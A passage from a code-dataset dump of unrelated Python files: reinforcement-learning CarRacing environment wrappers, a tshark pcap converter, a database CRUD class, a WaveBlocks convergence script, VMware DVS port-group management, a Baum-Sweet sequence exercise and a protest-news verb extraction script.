get_state_type_from_settings_path(settings_path)\n if expected_state_type == 'both':\n return make_CarRacing_fixed_combined_features\n if expected_state_type == 'image':\n return make_CarRacing_fixed_image_features\n if expected_state_type == 'vector':\n return make_CarRacing_fixed_vector_features\n\n raise ValueError(f'unknown state type on path : {settings_path}')\n\n\ndef make_CarRacing_fixed_combined_features(settings_path: str, name: Optional[str] = None, discrete_wrapper=None):\n def f():\n env = CarRacingHackatonContinuousFixed(settings_file_path=settings_path)\n # env = FrameCompressor(env)\n # env = ImageStackWrapper(env, channel_order='hwc', neutral_action=np.array([0.0, 0.0, 0.0]))\n # -> dict[(.., .., 3), (16)]\n env = chainerrl.wrappers.ContinuingTimeLimit(env, max_episode_steps=250)\n env = FrameCompressor(env)\n env = ImageToFloat(env)\n # -> dict[(84, 84, 3), (16)]\n env = ImageWithVectorCombiner(env)\n # -> Box(84, 84, 19)\n env = ChannelSwapper(env)\n # -> Box(19, 84, 84)\n\n if discrete_wrapper is not None:\n env = discrete_wrapper(env)\n\n env._max_episode_steps = 250\n\n if name is not None:\n env.name = name\n\n return env\n return f\n\n\ndef make_CarRacing_fixed_image_features(settings_path: str, name: Optional[str] = None, discrete_wrapper=None):\n def f():\n env = CarRacingHackatonContinuousFixed(settings_file_path=settings_path)\n # -> dict[(~106, ~106, 3), (~5-11)]\n env = FrameCompressor(env)\n env = ImageStackWrapper(env, neutral_action=np.array([0.0, 0.0, 0.0]), frames_in_stack=4)\n env = ImageToFloat(env)\n env = OnlyImageTaker(env)\n env = ChannelSwapper(env)\n # -> Box(19, 84, 84)\n\n if discrete_wrapper is not None:\n env = discrete_wrapper(env)\n\n env = chainerrl.wrappers.ContinuingTimeLimit(env, max_episode_steps=300)\n env._max_episode_steps = 300\n\n if name is not None:\n env.name = name\n\n return env\n return f\n\n\ndef make_CarRacing_fixed_vector_features(settings_path: str, name: Optional[str] = None, discrete_wrapper=None):\n def f():\n env = CarRacingHackatonContinuousFixed(settings_file_path=settings_path)\n # -> dict[(.., .., 3), (16)]\n env = chainerrl.wrappers.ContinuingTimeLimit(env, max_episode_steps=450)\n # -> dict[(84, 84, 3), (16)]\n env = OnlyVectorsTaker(env)\n # -> Box(16)\n env._max_episode_steps = 450\n\n if discrete_wrapper is not None:\n env = discrete_wrapper(env)\n\n if name is not None:\n env.name = name\n\n return env\n return f\n","sub_path":"envs/common_envs_utils/env_makers.py","file_name":"env_makers.py","file_ext":"py","file_size_in_byte":3722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"108531907","text":"import os\nfrom Modules.utilities import *\nclass Converter():\n def __init__(self, inputdir, outputdir):\n self.inputdir = inputdir\n self.outputdir = outputdir\n\n\n '''Creates a shell tshark call for extracting pcap fileds. Returns string shell call'''\n def makeCall(self, inputfile):\n lines = [i.strip().lower() for i in readfile(inputfile, lines=True)]\n call = \" -T fields\"\n for line in lines:\n call += ' -e '+line\n return call\n\n '''Calls string call created by makeCall() and extract fields specified in labels.txt'''\n def convertPcap(self):\n files = [i for i in os.listdir(self.inputdir) if '.gz' not in i]\n\n if not os.path.exists(self.outputdir):\n os.mkdir(self.outputdir)\n\n\n for file in files:\n dd=self.makeCall(\"labels.txt\")\n print(dd)\n\n filename = file.split(\".\")[0]+\".txt\"\n call = \"tshark -r \"+self.inputdir+file+ dd+\" > \" + self.outputdir+filename\n print(call)\n os.system(call)\n #print(\"Converted file at \"+file)\n\n def run(self):\n print(\"Converting PCAP file to txt..................\")\n self.convertPcap()\n","sub_path":"Modules/convertMawi.py","file_name":"convertMawi.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"263040401","text":"from models.database import *\n\nclass Unit(Database):\n\n def DanhSach(self):\n chuoiSQL = \"select ID, unit_code,unit_name from units\"\n cursor = Database.getALL(self,chuoiSQL)\n if cursor != None: \n recordList = []\n for row in cursor:\n TT = {'ID':row[0], 'unit_code': row[1], 'unit_name':row[2]}\n recordList.append(TT)\n return recordList\n\n def Insert(self, Ma,Ten):\n chuoiSQL = \"insert into units (unit_code,unit_name) values(?,?)\"\n kq = Database.execute(self,chuoiSQL,(Ma,Ten))\n return kq\n\n def Update(self,Id, Ma,Ten):\n chuoiSQL = \"update units set unit_code = ?, unit_name = ? where ID = ?\"\n kq = Database.execute(self,chuoiSQL,(Ma,Ten,Id))\n return kq\n\n def Delete(self,Id):\n chuoiSQL = \"delete from units where ID = ? \" \n kq = Database.execute(self,chuoiSQL,(Id,))\n return kq\n","sub_path":"dist/Main/models/Unit.py","file_name":"Unit.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"189893575","text":"#!/usr/bin/env python\n\"\"\"The WaveBlocks Project\n\nCompute the differences of serveral wavepackets to the reference wavepacket.\n\n@author: O. Rietmann\n@copyright: Copyright (C) 2020 O. Rietmann\n@license: Modified BSD License\n\"\"\"\n\nimport argparse\nimport os\n\nfrom WaveBlocksND import IOManager\nfrom WaveBlocksND import GlobalDefaults as GD\nfrom WaveBlocksND.Interface import ComputeConvergence\nfrom WaveBlocksND.Interface import DifferenceWavepacket\nfrom WaveBlocksND.Interface import DifferenceWavefunction\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-d\", \"--datafile\",\n type = str,\n help = \"The data file to store the convergence results\",\n nargs = 1)\n\n#parser.add_argument(\"-b\", \"--blockid\",\n# type = str,\n# help = \"The data block to handle.\",\n# nargs = \"*\",\n# default = [\"all\"])\n\nparser.add_argument(\"-r\", \"--referencefiles\",\n type = str,\n help = \"Datafile containing reference solution\",\n nargs = \"+\")\n\nparser.add_argument(\"-s\", \"--samplefiles\",\n type = str,\n help = \"Path where the samples are read from.\",\n nargs = \"+\")\n\nparser.add_argument(\"-l\", \"--label\",\n type = str,\n help = \"Label of this dataset.\",\n nargs = \"+\")\n\n# TODO: Filter type of objects\n# parser.add_argument(\"-t\", \"--type\",\n# help = \"The type of objects to consider.\",\n# type = str,\n# default = \"all\")\n\nargs = parser.parse_args()\n\nreferencefiles = []\nfor hdf5_file in args.referencefiles:\n referencefiles.append(os.path.abspath(hdf5_file))\n if not os.path.exists(referencefiles[-1]):\n raise IOError(\"File does not exist: '{}'\".format(referencefiles[-1]))\n\n# Datafiles containing the simulation data of the samples\nsamplefiles = []\nfor hdf5_file in args.samplefiles:\n samplefiles.append(os.path.abspath(hdf5_file))\n if not os.path.exists(samplefiles[-1]):\n raise IOError(\"File does not exist: '{}'\".format(samplefiles[-1]))\n\nlabel = args.label\n\nassert(len(referencefiles) == len(label))\nassert(len(samplefiles) == len(label))\n\nprint(\"**************************************************\")\nprint(\"*** Computing L2-Differences ***\")\nprint(\"**************************************************\")\n\nblockid = 0\n\nprint(\"Computing the convergence in data block '{}'\".format(blockid))\n\n# Store the data from the .hdf5 file in here.\ntimegrid = []\nl2diff = []\ncoeffdiff = []\n\nsample_type = 'None'\n# Read the data from the .hdf5 file.\nfor referencefile, samplefile in zip(referencefiles, samplefiles):\n reference_iom = IOManager()\n reference_iom.open_file(referencefile)\n sample_iom = IOManager()\n sample_iom.open_file(samplefile)\n\n if reference_iom.has_wavepacket(blockid=blockid) and sample_iom.has_wavepacket(blockid=blockid):\n sample_type = 'Wavepacket'\n #xvalues.append(ComputeConvergence.get_xvalues(sample_iom))\n timegrid.append(DifferenceWavepacket.get_timegrid(sample_iom))\n l2diff.append(DifferenceWavepacket.compute_timeseries_l2diff_hawp(reference_iom, sample_iom))\n coeffdiff.append(DifferenceWavepacket.compute_timeseries_coeffdiff_hawp(reference_iom, sample_iom))\n elif reference_iom.has_wavefunction(blockid=blockid) and sample_iom.has_wavefunction(blockid=blockid):\n sample_type = 'Wavefunction'\n timegrid.append(DifferenceWavefunction.get_timegrid(sample_iom))\n l2diff.append(DifferenceWavefunction.compute_timeseries_l2diff(reference_iom, sample_iom))\n coeffdiff.append(l2diff[-1]) # dummy\n else:\n print(\"Warning: Not computing any norm in block '{}'!\".format(blockid))\n\n sample_iom.finalize()\n reference_iom.finalize()\n\n# Store the convergence data\ndatafile = os.path.abspath(args.datafile[0])\niom = IOManager()\nif os.path.exists(datafile):\n print(\"File already exists: '{}'\".format(datafile))\n print(\"Adding new datasets to file: '{}'\".format(datafile))\n iom.open_file(datafile)\nelse:\n print(\"File does not exist: '{}'\".format(datafile))\n print(\"Creating new file: '{}'\".format(datafile))\n iom.create_file(datafile)\n iom.create_block(blockid=0)\n\nprint('timegrid =', timegrid)\nprint('l2diff = ', l2diff)\nprint('coeffdiff = ', coeffdiff)\nfor i in range(len(label)):\n if iom.has_convergence(label[i]):\n print(\"Warning: Overwriting dataset with label '{}'\".format(label[i]))\n iom.delete_convergence(label[i])\n\n iom.add_convergence(label[i], timegrid[i])\n if sample_type == 'Wavepacket':\n iom.save_convergence(label[i], l2diff[i], 'L2diff')\n iom.save_convergence(label[i], coeffdiff[i], 'coeffdiff')\n elif sample_type == 'Wavefunction':\n iom.save_convergence(label[i], l2diff[i], 'L2diff')\n iom.save_convergence(label[i], coeffdiff[i], 'coeffdiff')\niom.finalize()\n\nprint(\"**************************************************\")\nprint(\"*** Computing L2-Differences Finished ***\")\nprint(\"**************************************************\")\n","sub_path":"scripts/scripts/ComputeTimeseriesDifference.py","file_name":"ComputeTimeseriesDifference.py","file_ext":"py","file_size_in_byte":5206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"196583308","text":"# Copyright 2014 VMware, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom neutron_lib import exceptions\nfrom oslo_log import log as logging\nfrom oslo_utils import excutils\nfrom oslo_vmware import vim_util\n\nfrom vmware_nsx._i18n import _LE, _LI\nfrom vmware_nsx.common import exceptions as nsx_exc\nfrom vmware_nsx.dvs import dvs_utils\n\nLOG = logging.getLogger(__name__)\nPORTGROUP_PREFIX = 'dvportgroup'\nQOS_OUT_DIRECTION = 'outgoingPackets'\nQOS_AGENT_NAME = 'dvfilter-generic-vmware'\n\n\nclass DvsManager(object):\n \"\"\"Management class for dvs related tasks.\"\"\"\n\n def __init__(self):\n \"\"\"Initializer.\n\n A global session with the VC will be established. In addition to this\n the moref of the configured DVS will be learnt. This will be used in\n the operations supported by the manager.\n\n NOTE: the DVS port group name will be the Neutron network UUID.\n \"\"\"\n self._session = dvs_utils.dvs_create_session()\n # In the future we may decide to support more than one DVS\n self._dvs_moref = self._get_dvs_moref(self._session,\n dvs_utils.dvs_name_get())\n\n def _get_dvs_moref(self, session, dvs_name):\n \"\"\"Get the moref of the configured DVS.\"\"\"\n results = session.invoke_api(vim_util,\n 'get_objects',\n session.vim,\n 'DistributedVirtualSwitch',\n 100)\n while results:\n for dvs in results.objects:\n for prop in dvs.propSet:\n if dvs_name == prop.val:\n vim_util.cancel_retrieval(session.vim, results)\n return dvs.obj\n results = vim_util.continue_retrieval(session.vim, results)\n raise nsx_exc.DvsNotFound(dvs=dvs_name)\n\n def _get_port_group_spec(self, net_id, vlan_tag):\n \"\"\"Gets the port groups spec for net_id and vlan_tag.\"\"\"\n client_factory = self._session.vim.client.factory\n pg_spec = client_factory.create('ns0:DVPortgroupConfigSpec')\n pg_spec.name = net_id\n pg_spec.type = 'ephemeral'\n config = client_factory.create('ns0:VMwareDVSPortSetting')\n if vlan_tag:\n # Create the spec for the vlan tag\n spec_ns = 'ns0:VmwareDistributedVirtualSwitchVlanIdSpec'\n vl_spec = client_factory.create(spec_ns)\n vl_spec.vlanId = vlan_tag\n vl_spec.inherited = '0'\n config.vlan = vl_spec\n pg_spec.defaultPortConfig = config\n return pg_spec\n\n def add_port_group(self, net_id, vlan_tag=None):\n \"\"\"Add a new port group to the configured DVS.\"\"\"\n pg_spec = self._get_port_group_spec(net_id, vlan_tag)\n task = self._session.invoke_api(self._session.vim,\n 'CreateDVPortgroup_Task',\n self._dvs_moref,\n spec=pg_spec)\n try:\n # NOTE(garyk): cache the returned moref\n self._session.wait_for_task(task)\n except Exception:\n # NOTE(garyk): handle more specific exceptions\n with excutils.save_and_reraise_exception():\n LOG.exception(_LE('Failed to create port group for '\n '%(net_id)s with tag %(tag)s.'),\n {'net_id': net_id, 'tag': vlan_tag})\n LOG.info(_LI(\"%(net_id)s with tag %(vlan_tag)s created on %(dvs)s.\"),\n {'net_id': net_id,\n 'vlan_tag': vlan_tag,\n 'dvs': dvs_utils.dvs_name_get()})\n\n def _net_id_to_moref(self, net_id):\n \"\"\"Gets the moref for the specific neutron network.\"\"\"\n # NOTE(garyk): return this from a cache if not found then invoke\n # code below.\n port_groups = self._session.invoke_api(vim_util,\n 'get_object_properties',\n self._session.vim,\n self._dvs_moref,\n ['portgroup'])\n if len(port_groups) and hasattr(port_groups[0], 'propSet'):\n for prop in port_groups[0].propSet:\n for val in prop.val[0]:\n props = self._session.invoke_api(vim_util,\n 'get_object_properties',\n self._session.vim,\n val, ['name'])\n if len(props) and hasattr(props[0], 'propSet'):\n for prop in props[0].propSet:\n if net_id == prop.val:\n # NOTE(garyk): update cache\n return val\n raise exceptions.NetworkNotFound(net_id=net_id)\n\n def _is_vlan_network_by_moref(self, moref):\n \"\"\"\n This can either be a VXLAN or a VLAN network. The type is determined\n by the prefix of the moref.\n \"\"\"\n return moref.startswith(PORTGROUP_PREFIX)\n\n def _copy_port_group_spec(self, orig_spec):\n client_factory = self._session.vim.client.factory\n pg_spec = client_factory.create('ns0:DVPortgroupConfigSpec')\n pg_spec.autoExpand = orig_spec['autoExpand']\n pg_spec.configVersion = orig_spec['configVersion']\n pg_spec.defaultPortConfig = orig_spec['defaultPortConfig']\n pg_spec.name = orig_spec['name']\n pg_spec.numPorts = orig_spec['numPorts']\n pg_spec.policy = orig_spec['policy']\n pg_spec.type = orig_spec['type']\n return pg_spec\n\n def update_port_group_spec_qos(self, pg_spec, qos_data):\n port_conf = pg_spec.defaultPortConfig\n # Update the out bandwidth shaping policy\n outPol = port_conf.outShapingPolicy\n if qos_data.bandwidthEnabled:\n outPol.inherited = False\n outPol.enabled.inherited = False\n outPol.enabled.value = True\n outPol.averageBandwidth.inherited = False\n outPol.averageBandwidth.value = qos_data.averageBandwidth\n outPol.peakBandwidth.inherited = False\n outPol.peakBandwidth.value = qos_data.peakBandwidth\n outPol.burstSize.inherited = False\n outPol.burstSize.value = qos_data.burstSize\n else:\n outPol.inherited = True\n\n # Update the DSCP marking\n if (port_conf.filterPolicy.inherited or\n len(port_conf.filterPolicy.filterConfig) == 0 or\n len(port_conf.filterPolicy.filterConfig[\n 0].trafficRuleset.rules) == 0):\n\n if qos_data.dscpMarkEnabled:\n # create the entire structure\n client_factory = self._session.vim.client.factory\n filter_rule = client_factory.create('ns0:DvsTrafficRule')\n filter_rule.action = client_factory.create(\n 'ns0:DvsUpdateTagNetworkRuleAction')\n filter_rule.action.dscpTag = qos_data.dscpMarkValue\n # mark only outgoing packets\n filter_rule.direction = QOS_OUT_DIRECTION\n\n traffic_filter_config = client_factory.create(\n 'ns0:DvsTrafficFilterConfig')\n traffic_filter_config.trafficRuleset.rules = [filter_rule]\n traffic_filter_config.trafficRuleset.enabled = True\n traffic_filter_config.agentName = QOS_AGENT_NAME\n traffic_filter_config.inherited = False\n\n port_conf.filterPolicy = client_factory.create(\n 'ns0:DvsFilterPolicy')\n port_conf.filterPolicy.filterConfig = [\n traffic_filter_config]\n port_conf.filterPolicy.inherited = False\n else:\n # The structure was already initialized\n filter_policy = port_conf.filterPolicy\n if qos_data.dscpMarkEnabled:\n # just update the DSCP value\n traffic_filter_config = filter_policy.filterConfig[0]\n filter_rule = traffic_filter_config.trafficRuleset.rules[0]\n filter_rule.action.dscpTag = qos_data.dscpMarkValue\n else:\n # delete the filter policy data\n filter_policy.filterConfig = []\n\n def _reconfigure_port_group(self, pg_moref, spec_update_calback,\n spec_update_data):\n # Get the current configuration of the port group\n pg_spec = self._session.invoke_api(vim_util,\n 'get_object_properties',\n self._session.vim,\n pg_moref, ['config'])\n if len(pg_spec) == 0 or len(pg_spec[0].propSet[0]) == 0:\n LOG.error(_LE('Failed to get object properties of %s'), pg_moref)\n raise nsx_exc.DvsNotFound(dvs=pg_moref)\n\n # Convert the extracted config to DVPortgroupConfigSpec\n new_spec = self._copy_port_group_spec(pg_spec[0].propSet[0].val)\n\n # Update the configuration using the callback & data\n spec_update_calback(new_spec, spec_update_data)\n\n # Update the port group configuration\n task = self._session.invoke_api(self._session.vim,\n 'ReconfigureDVPortgroup_Task',\n pg_moref, spec=new_spec)\n try:\n self._session.wait_for_task(task)\n except Exception:\n LOG.error(_LE('Failed to reconfigure DVPortGroup %s'), pg_moref)\n raise nsx_exc.DvsNotFound(dvs=pg_moref)\n\n # Update the dvs port groups config for a vxlan/vlan network\n # update the spec using a callback and user data\n def update_port_groups_config(self, net_id, net_moref,\n spec_update_calback, spec_update_data):\n is_vlan = self._is_vlan_network_by_moref(net_moref)\n if is_vlan:\n return self._update_net_port_groups_config(net_moref,\n spec_update_calback,\n spec_update_data)\n else:\n return self._update_vxlan_port_groups_config(net_id,\n net_moref,\n spec_update_calback,\n spec_update_data)\n\n # Update the dvs port groups config for a vxlan network\n # Searching the port groups for a partial match to the network id & moref\n # update the spec using a callback and user data\n def _update_vxlan_port_groups_config(self,\n net_id,\n net_moref,\n spec_update_calback,\n spec_update_data):\n port_groups = self._session.invoke_api(vim_util,\n 'get_object_properties',\n self._session.vim,\n self._dvs_moref,\n ['portgroup'])\n found = False\n if len(port_groups) and hasattr(port_groups[0], 'propSet'):\n for prop in port_groups[0].propSet:\n for pg_moref in prop.val[0]:\n props = self._session.invoke_api(vim_util,\n 'get_object_properties',\n self._session.vim,\n pg_moref, ['name'])\n if len(props) and hasattr(props[0], 'propSet'):\n for prop in props[0].propSet:\n if net_id in prop.val and net_moref in prop.val:\n found = True\n self._reconfigure_port_group(\n pg_moref,\n spec_update_calback,\n spec_update_data)\n\n if not found:\n raise exceptions.NetworkNotFound(net_id=net_id)\n\n # Update the dvs port groups config for a vlan network\n # Finding the port group using the exact moref of the network\n # update the spec using a callback and user data\n def _update_net_port_groups_config(self,\n net_moref,\n spec_update_calback,\n spec_update_data):\n pg_moref = vim_util.get_moref(net_moref,\n \"DistributedVirtualPortgroup\")\n self._reconfigure_port_group(pg_moref,\n spec_update_calback,\n spec_update_data)\n\n def delete_port_group(self, net_id):\n \"\"\"Delete a specific port group.\"\"\"\n moref = self._net_id_to_moref(net_id)\n task = self._session.invoke_api(self._session.vim,\n 'Destroy_Task',\n moref)\n try:\n self._session.wait_for_task(task)\n except Exception:\n # NOTE(garyk): handle more specific exceptions\n with excutils.save_and_reraise_exception():\n LOG.exception(_LE('Failed to delete port group for %s.'),\n net_id)\n LOG.info(_LI(\"%(net_id)s delete from %(dvs)s.\"),\n {'net_id': net_id,\n 'dvs': dvs_utils.dvs_name_get()})\n","sub_path":"vmware_nsx/dvs/dvs.py","file_name":"dvs.py","file_ext":"py","file_size_in_byte":14408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"523548775","text":"#!/usr/bin/env python\n\n\"\"\"\nDescription\nIn mathematics, the Baum–Sweet sequence is an infinite automatic sequence of 0s and 1s defined by the rule:\n b_n = 1 if the binary representation of n contains no block of consecutive 0s of odd length;\n b_n = 0 otherwise;\nfor n >= 0.\n\nFor example, b_4 = 1 because the binary representation of 4 is 100, which only contains one block of consecutive 0s of length 2; whereas b_5 = 0 because the binary representation of 5 is 101, which contains a block of consecutive 0s of length 1. When n is 19611206, b_n is 0 because:\n\n19611206 = 1001010110011111001000110 base 2\n 00 0 0 00 00 000 0 runs of 0s\n ^ ^ ^^^ odd length sequences\n\nBecause we find an odd length sequence of 0s, b_n is 0.\n\nChallenge Description\nYour challenge today is to write a program that generates the Baum-Sweet sequence from 0 to some number n. For example, given \"20\" your program would emit:\n1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0\n\"\"\"\n\ndef b_n(n):\n \"\"\" returns 0 if there is an odd length run of 0's in the binary interpretation of n \"\"\"\n if n == 0:\n return 1\n # string interpretation of the binary representation of n\n binstr = str(bin(n))[2:]\n # are there any odd length runs of 0's?\n zeroes = list([ len(run)%2 for run in binstr.split(\"1\") if run != '' ])\n\n if len(zeroes) == 0:\n return 1\n if 1 in zeroes:\n return 0\n else:\n return 1\n\ndef print_series(n):\n series = [ str(b_n(i)) for i in range(n+1) ]\n print(\", \".join(series))\n\nprint_series(20)","sub_path":"2017-12-11-344-Easy-Baum-Sweet-Sequence.py","file_name":"2017-12-11-344-Easy-Baum-Sweet-Sequence.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"43521961","text":"import os\nimport re\nfrom collections import namedtuple, defaultdict\nfrom lexicons import load_connotation_frames, load_power_split, load_agency_split, load_hannah_split\nfrom xml_helpers import process_xml_text\nfrom weighted_tests import logistic_regression, find_logistic_regression_weights\nimport h5py\nimport ast\nfrom tqdm import tqdm\nimport numpy as np\nimport pickle\nimport stanza\nimport xml.etree.ElementTree as ET\nimport argparse\nimport json\n# Custom types to handle embeddings and articles\n# TODO: Decide what information we really need. Putting\n# info specific to our code will be a pain in the ass\n# later on (if we try to use an external corpus)\n# NOTE: Assumes that the article_idx are unique over\n# a corpus.. Check this is a valid assumption\n#Article = namedtuple(\"Article\", \"riot src article_id\")\n#EmbeddingTuple = namedtuple(\"Embedding\", \"article sent_idx verb_idx word embedding\")\nCONNO_DIR=\"../frames/annotated_connotation_frames/\"\nPOWER_AGENCY_DIR=\"../frames/agency_power.csv\"\n\ngovernment_kw = {\n 'government', 'government forces', 'state', 'authority', 'authorities', 'regime',\n 'prime minister', 'president', 'police', 'police forces', 'army', 'armed forces', \n 'premier', 'officers', 'officer', 'military', 'troops', 'security forces', 'forces',\n 'nicolas', 'maduro', 'hugo', 'chavez', 'diosdado', 'cabello',\n 'emmanuel', 'macron', 'elysee', 'christophe', 'castaner', 'philippe', 'edouard',\n 'carrie', 'lam', 'xi', 'jinping', 'beijing', 'chief executive',\n 'irgc', 'ali', 'khamenei', 'ayatollah', 'fadavi', 'hassan', 'rouhani', 'zarif'\n}\nprotesters_kw = {\n 'protest', 'protester', 'protesters', 'demonstrator', 'demonstrators', 'rioter', 'rioters',\n 'striker', 'agitator', 'dissenter', 'disrupter', 'revolter', 'marcher', 'dissident',\n 'militant', 'activists', 'activist',\n 'venezuelans', 'yellow vests', 'yellow vest', 'jackets',\n 'juan', 'guaido', 'leopoldo', 'lopez',\n 'maxime', 'nicolle', 'eric', 'drouet', 'christophe', 'chalençon', 'priscillia', 'ludosky',\n 'jacline', 'mouraud', 'jerome', 'rodrigues', 'etienne', 'chouard', 'francois', 'boulo',\n 'joshua', 'wong', 'chan', 'ho-tin', 'kongers',\n 'mir-hossein', 'mousavi',\n}\n\nPRONOUNS = {\"i\", \"me\", \"my\", \"mine\", \"myself\",\n \"you\", \"your\", \"yours\", \"yourself\", \"yourselves\",\n \"he\", \"him\", \"his\", \"himself\",\n \"she\", \"her\", \"hers\", \"herself\",\n \"it\", \"its\", \"itself\",\n \"we\", \"us\", \"our\", \"ours\", \"ourselves\",\n \"they\", \"them\", \"their\", \"theirs\", \"themselves\"}\n\n\n# Lemmatize the kew-words for government and protesters.\nnlp = stanza.Pipeline(lang='en', processors='tokenize,pos,lemma')\ndef to_lemma(kw_set):\n lemmas_set = set()\n for kw in kw_set:\n doc = nlp(kw)\n # Discard multi-word key-words.\n if len(doc.sentences[0].words) == 1:\n lemmas_set.add(doc.sentences[0].words[0].lemma)\n return lemmas_set\n\ngovernment_kw_lemmas = to_lemma(government_kw) \nprotesters_kw_lemmas = to_lemma(protesters_kw)\n\ndef articleToName(article, append_str = \"\"):\n \"\"\" Helper function that converts the \n article tuple into a str (e.g. filename)\"\"\"\n return \"_\".join(article) + append_str\n\n# TODO: Refactor these functions...\ndef loadSentimentType(header):\n def loadSentiment():\n return load_hannah_split(CONNO_DIR, header, binarize=True, remove_neutral=False)\n return loadSentiment\n\ndef loadPower():\n return load_power_split(POWER_AGENCY_DIR)\n\ndef loadAgency():\n return load_agency_split(POWER_AGENCY_DIR)\n\n# TODO: Rename me plz :(\nOPERATIONS=[(\"Perspective(wo)\", loadSentimentType(\"Perspective(wo)\")), (\"Perspective(ws)\", loadSentimentType(\"Perspective(ws)\")), (\"Power\", loadPower), (\"Agency\", loadAgency)]\n\n# Class that houses embeddings and manage operations over them \nclass EmbeddingManager:\n def __init__(self):\n self.tuples = []\n self.word_to_tuple = defaultdict(list)\n self.article_to_tuple = {}\n \n def fetchArticles(self, search_criterion):\n \"\"\" Returns tuples using a search tuple of the same type, with wildcard fields marked as None or '' \"\"\"\n def match(t1, search_tupl):\n return all([not search_term or term == search_term for term,search_term in zip(t1,search_tupl)])\n return [tupl for tupl in self.tuples if match(tupl['article'], search_criterion)]\n\n def __getitem__(self, item):\n if type(item) == str:\n return [self.tuples[idx] for idx in self.word_to_tuple.get(item, [])]\n elif type(item) == tuple:\n return self.tuples[self.article_to_tuple[item]]\n else:\n raise \"Invalid data type\"\n \n def addItem(self, tupl):\n self.tuples.append(tupl)\n self.word_to_tuple[tupl['verb_lemma']] += [len(self.tuples) - 1]\n self.article_to_tuple[tupl['article']] = len(self.tuples) - 1\n\n def decontextualizeWord(self, word):\n word_embs = np.stack([self.tuples[idx]['embedding'] for idx in self.word_to_tuple[word]])\n return np.mean(word_embs, axis=0)\n\ndef splitFileName(file_name, split_str=\"[_\\.]\"):\n split_regex = re.compile(split_str)\n return split_regex.split(file_name)\n\ndef getArticleList(dir_path):\n \"\"\" Function that loads all the files in a directory,\n verifies their titles are correctly formatted,\n returns them in a named tuple \"\"\"\n\n article_list = []\n \n for file_name in os.listdir(dir_path):\n if not file_name.endswith('hdf5'):\n continue\n split_str = splitFileName(file_name)\n if len(split_str) < 4:\n print(\"The name contains {} splits\".format(len(split_str)))\n continue\n current_article = tuple(split_str[:3])\n article_list.append(current_article)\n return article_list\n\ndef extractItem(head, find_nodes, iter_node = None):\n \"\"\" A generic way of iterating through XMLs \n and returning a list of iter_type\"\"\"\n data = []\n final_node = head\n for node in find_nodes:\n final_node = final_node.find(node)\n\n if iter_node:\n data = final_node.iter(iter_node)\n else:\n data = final_node\n\n return data\n\ndef filterSentence(args, article, sent_idx, dependencies, lemmas, pos, doc_coreference_dict=None):\n # Go over dependencies:\n # if active: | if passive:\n # if type == nsubj, nobj | if type == nsubpass, agent\n # check if lemma of the word is in the lemmas of protests or government forces\n # IF coref included:\n # pass a coref structure that associates if a pronoun is government/protest related\n tuples = []\n verb_dependencies = defaultdict(list)\n for dep in dependencies:\n # Check if we are looking at a subject or an object:\n if dep.get(\"type\") in {\"nsubj\", \"dobj\", \"nsubjpass\", \"agent\", \"nmod\"}:\n dependent = dep.find(\"dependent\")\n dependent_idx = int(dependent.get(\"idx\")) - 1\n dependent_lemma = lemmas[dependent_idx].lower()\n\n governor = dep.find(\"governor\") # verb\n governor_idx = int(governor.get(\"idx\")) - 1\n governor_lemma = lemmas[governor_idx].lower()\n governor_pos = pos[governor_idx]\n\n # In case nmod was not pointing to a verb.\n if not pos[governor_idx].startswith(\"VB\"):\n continue\n # Representative is not None if this was a coreference.\n representative = None\n # Check if the dependent is in the government list or the protesters list:\n entity_group = None\n if dependent_lemma in protesters_kw:\n entity_group = \"protester\"\n elif dependent_lemma in government_kw:\n entity_group = \"government\"\n elif doc_coreference_dict is not None and (sent_idx, dependent_idx) in doc_coreference_dict:\n entity_group, representative = doc_coreference_dict[(sent_idx, dependent_idx)]\n # print(\"FOUND AN EXAMPLE\")\n # print(\"PRONOUN\", sent_idx, dependent_idx)\n # print(lemmas)\n # print(entity_group)\n # print(lemmas[dependent_idx])\n example = {\n \"dep_type\": dep.get(\"type\"),\n \"entity_lemma\": dependent_lemma,\n \"entity_idx\": dependent_idx,\n \"entity_group\": entity_group\n }\n if representative is not None:\n example[\"representative\"] = representative\n\n verb_dependencies[(governor_idx, governor_lemma)].append(example)\n\n # In case we missed verbs add them back to the verb_dependencies structure without any dependents.\n if args.use_all_verbs:\n for verb_idx, (verb_lemma, pos_tag) in enumerate(zip(lemmas, pos)):\n if pos_tag.startswith(\"VB\") and (verb_idx, verb_lemma) not in verb_dependencies:\n verb_dependencies[(verb_idx, verb_lemma)] = []\n\n # Iterate over verbs in the sentences filter out wrong nmod examples build single verb dictionary.\n for governor_idx, governor_lemma in verb_dependencies:\n verb_example_dict = {\n \"article\": article,\n \"sent_idx\": sent_idx,\n \"verb_idx\": governor_idx,\n \"verb_lemma\": governor_lemma\n }\n dependencies = verb_dependencies[governor_idx, governor_lemma]\n if len(dependencies) > 0:\n dep_type_set = {dependency['dep_type'] for dependency in dependencies}\n for dependency in dependencies:\n # agent\n if dependency['dep_type'] in [\"nsubj\", \"agent\", \"nmod\"]:\n # We keep example with type nmod only in passive sentences that have a nsubjpass for the verb.\n if dependency['dep_type'] == \"nmod\" and not \"nsubjpass\" in dep_type_set:\n continue\n verb_example_dict[\"agent\"] = dependency\n # patient\n elif dependency['dep_type'] in [\"nsubjpass\", 